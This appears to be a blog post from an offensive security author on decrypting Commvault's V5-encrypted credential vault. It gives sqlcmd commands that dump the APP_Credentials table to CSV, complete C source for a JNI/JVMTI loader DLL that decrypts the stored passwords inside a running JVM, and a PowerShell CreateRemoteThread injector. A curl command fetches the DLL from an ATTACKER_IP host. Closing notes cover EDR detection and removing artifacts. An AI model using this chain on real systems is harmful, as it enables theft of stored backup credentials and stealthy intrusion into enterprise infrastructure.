Skip to content

Commvault Vault: Decrypting V5 Blobs with Live JVM Injection

So, CMV stores the db passwords in V5 encrypted blobs. I tried different offline ways to crack these, but all failed. Couldn't find anything relatable on the internet, so I went through some docu and different links. After that, I realized that CMV's runtime already has the V5 key context loaded. That made me look into how to inject the process, not crash the app and decrypt the blobs.

Full source is on GitHub: 0xCZR1/Commvault-JVMInjection.

Pull the vault out of SQL

Confirm that through SYSTEM you are also sysadmin on the db.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin')"

The vault is in APP_Credentials. The password column is the V5 ciphertext. This is the blob extraction.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT credentialName, userName, password FROM APP_Credentials WHERE password IS NOT NULL AND password <> ''"

Dump it to CSV so you can paste the blobs into the loader later.

sqlcmd -S .\COMMVAULT -E -d CommServ -s "," -W -h -1 -Q "SET NOCOUNT ON; SELECT credentialName,userName,password FROM APP_Credentials WHERE password<>''" -o C:\Users\Public\cv_creds.csv

V5 is deterministic and forces the schema to not have IV or salt.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT password, COUNT(*) AS reuse FROM APP_Credentials WHERE password<>'' GROUP BY password HAVING COUNT(*)>1"

Why offline never works

The V5 key is boxed in the registry and unboxed at service startup, real key ends up in a C++ global that is only filled when a Commvault service runs its session init. Any cold process reads a null global and crashes at the same spot every time.

Find a live JVM that already holds the key

tasklist /m WorkflowEvent.dll
tasklist /m jvm.dll
(Get-CimInstance Win32_Process -Filter "ProcessId=<PID>").CommandLine

Here, workflowEngine.exe has the JVM, WorkflowEvent.dll and CvBasicLib.dll all loaded, so the key context is already built in that process. Be sure the command line has no -XX:+DisableAttachMechanism.

Build the loader DLL on Linux

Linux JDK headers miss win32/jni_md.h, let's stub it.

mkdir -p win32_include && printf '#ifndef _JNI_MD_H\n#define _JNI_MD_H\n#define JNICALL __stdcall\n#define JNIEXPORT __declspec(dllexport)\n#define JNIIMPORT __declspec(dllimport)\ntypedef long jint;\ntypedef long long jlong;\ntypedef signed char jbyte;\n#endif\n' > win32_include/jni_md.h

Cross compile with mingw.

JH=$(dirname $(find /usr -name jni.h 2>/dev/null | head -1)) ; x86_64-w64-mingw32-gcc -shared -O2 loader.c -o loader.dll -I"$JH" -Iwin32_include

The loader

The loader grabs the JVM with JNI_GetCreatedJavaVMs, once it did, it attaches a thread then uses JVMTI GetLoadedClasses to find the class. An injected thread has no Java frames, so then FindClass only sees the bootstrap loader and misses the webapp class. The live class is commvault.qnet.sys.CVPassword, not the commvault.web.shared.CVPassword you see in the decompiled jar. That actually made me fail so many times until I started the recon... decrypt is an instance method, so you build an object with the no arg constructor, then call it per blob.

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <jni.h>
#include <jvmti.h>

DWORD WINAPI go(LPVOID _) {
    FILE* f = fopen("C:\\Users\\Public\\o.txt", "w");
    if (!f) return 1;                                                  // never fprintf(NULL,...)

    typedef jint (JNICALL *GetVMs)(JavaVM**, jsize, jsize*);
    GetVMs gv = (GetVMs)GetProcAddress(GetModuleHandleA("jvm.dll"), "JNI_GetCreatedJavaVMs");
    if (!gv) { fprintf(f,"no export\n"); fclose(f); return 2; }

    JavaVM* vm; jsize n;
    if (gv(&vm,1,&n) || !n) { fprintf(f,"no vm\n"); fclose(f); return 3; }

    JNIEnv* env;
    if ((*vm)->AttachCurrentThread(vm,(void**)&env,NULL)) { fprintf(f,"attach fail\n"); fclose(f); return 4; }

    jvmtiEnv* ti = NULL;
    if ((*vm)->GetEnv(vm,(void**)&ti,JVMTI_VERSION_1_2) || !ti) { fprintf(f,"no jvmti\n"); fclose(f); return 5; }

    jint cc; jclass* classes;                                          // JVMTI enumerates ALL classloaders; FindClass would only see bootstrap
    if ((*ti)->GetLoadedClasses(ti,&cc,&classes) != JVMTI_ERROR_NONE) { fprintf(f,"GetLoadedClasses fail\n"); fclose(f); return 6; }
    jclass cls = NULL;
    for (jint i=0;i<cc;i++){
        char* sig=NULL;
        if ((*ti)->GetClassSignature(ti,classes[i],&sig,NULL)==JVMTI_ERROR_NONE && sig){
            if (strcmp(sig,"Lcommvault/qnet/sys/CVPassword;")==0)      // the REAL class, not the one from the jar
                cls = (jclass)(*env)->NewGlobalRef(env, classes[i]);  // pin it so GC can't invalidate after Deallocate
            (*ti)->Deallocate(ti,(unsigned char*)sig);
        }
        if (cls) break;
    }
    (*ti)->Deallocate(ti,(unsigned char*)classes);
    if (!cls){ fprintf(f,"CVPassword not found\n"); fclose(f); return 7; }

    jmethodID ctor    = (*env)->GetMethodID(env, cls, "<init>", "()V");
    jmethodID decrypt = (*env)->GetMethodID(env, cls, "decrypt", "(Ljava/lang/String;)Ljava/lang/String;");  // instance method
    if ((*env)->ExceptionCheck(env)) (*env)->ExceptionClear(env);
    if (!ctor || !decrypt){ fprintf(f,"ctor=%p decrypt=%p\n",(void*)ctor,(void*)decrypt); fclose(f); return 8; }

    jobject obj = (*env)->NewObject(env, cls, ctor);                   // no-arg ctor
    if ((*env)->ExceptionCheck(env)){ (*env)->ExceptionClear(env); }
    if (!obj){ fprintf(f,"NewObject failed\n"); fclose(f); return 9; }

    fprintf(f,"CVPassword ready\n\n");

    const char* blobs[] = { "<BLOB_1>", "<BLOB_2>", /* paste APP_Credentials.password values */ NULL };
    const char* names[] = { "<CRED_1>", "<CRED_2>", /* matching credentialName labels        */ NULL };

    for (int i=0; blobs[i]; i++){
        jstring in  = (*env)->NewStringUTF(env, blobs[i]);
        jstring out = (jstring)(*env)->CallObjectMethod(env, obj, decrypt, in);   // decrypt inside the live, key-initialized JVM
        if ((*env)->ExceptionCheck(env)){
            (*env)->ExceptionClear(env);                              // swallow per-blob errors so one bad blob doesn't kill the service
            fprintf(f,"%s => EXCEPTION\n", names[i]);
        } else if (out){
            const char* s = (*env)->GetStringUTFChars(env, out, NULL);
            fprintf(f,"%s => %s\n", names[i], s?s:"(nullchars)");
            if (s) (*env)->ReleaseStringUTFChars(env, out, s);
        } else {
            fprintf(f,"%s => null\n", names[i]);
        }
        if (in)  (*env)->DeleteLocalRef(env, in);
        if (out) (*env)->DeleteLocalRef(env, out);
    }

    (*env)->DeleteGlobalRef(env, cls);
    fclose(f);
    (*vm)->DetachCurrentThread(vm);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l){
    if (r==DLL_PROCESS_ATTACH){ DisableThreadLibraryCalls(h); CreateThread(0,0,go,0,0,0); }   // do work off a new thread, not in DllMain
    return TRUE;
}

In the repo you will find recon.c and sig_dump.c. Run recon first to list the real class names, then dump the method signatures, then run the decrypt loader above. Do not skip straight to the decrypt phase because the recon phase reveals wether or not your target is the right one for the next phases.

Inject it

Pull the built DLL onto the box.

curl.exe -s http://<ATTACKER_IP>:443/loader.dll -o C:\Users\Public\loader.dll

Inject with CreateRemoteThread and LoadLibraryA.

$code = @'
using System;
using System.Runtime.InteropServices;
public class Inj {
    [DllImport("kernel32")] public static extern IntPtr OpenProcess(int a, bool b, int c);
    [DllImport("kernel32")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr b, byte[] buf, uint s, out IntPtr w);
    [DllImport("kernel32")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t);
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string n);
}
'@ ; Add-Type $code ; $bytes=[Text.Encoding]::ASCII.GetBytes("C:\Users\Public\loader.dll"+"`0") ; $h=[Inj]::OpenProcess(0x1F0FFF,$false,<PID>) ; $mem=[Inj]::VirtualAllocEx($h,[IntPtr]::Zero,[uint32]$bytes.Length,0x3000,0x40) ; $w=[IntPtr]::Zero ; [Inj]::WriteProcessMemory($h,$mem,$bytes,[uint32]$bytes.Length,[ref]$w) ; $ll=[Inj]::GetProcAddress([Inj]::GetModuleHandle("kernel32.dll"),"LoadLibraryA") ; [Inj]::CreateRemoteThread($h,[IntPtr]::Zero,0,$ll,$mem,0,[IntPtr]::Zero) ; Start-Sleep 3 ; Get-Content C:\Users\Public\o.txt

Read C:\Users\Public\o.txt and you have the vault in plaintext.

Each new injection will require a fresh DLL filename (loader2.dll, loader3.dll) and a fresh Add-Type class name (Inj2, Inj3). Windows will not load the same path into the same PID twice, and PowerShell will not redefine a type in the same session.

Notes

  • One bad JNI call kills the whole backup service. Keep the guards in. Null check everything, pin the class with NewGlobalRef, and ExceptionClear after every call.
  • This chain is loud. OpenProcess(0x1F0FFF), RWX VirtualAllocEx, WriteProcessMemory, CreateRemoteThread(LoadLibraryA) into a backup service is textbook injection, and EDR flags it. Check the EDR state first.
  • The injected DLL clears on service restart. Clean up loader*.dll, o.txt and the CSV when you are done.

The full cheatsheet with recon, the dead ends, and OPSEC is in the repo.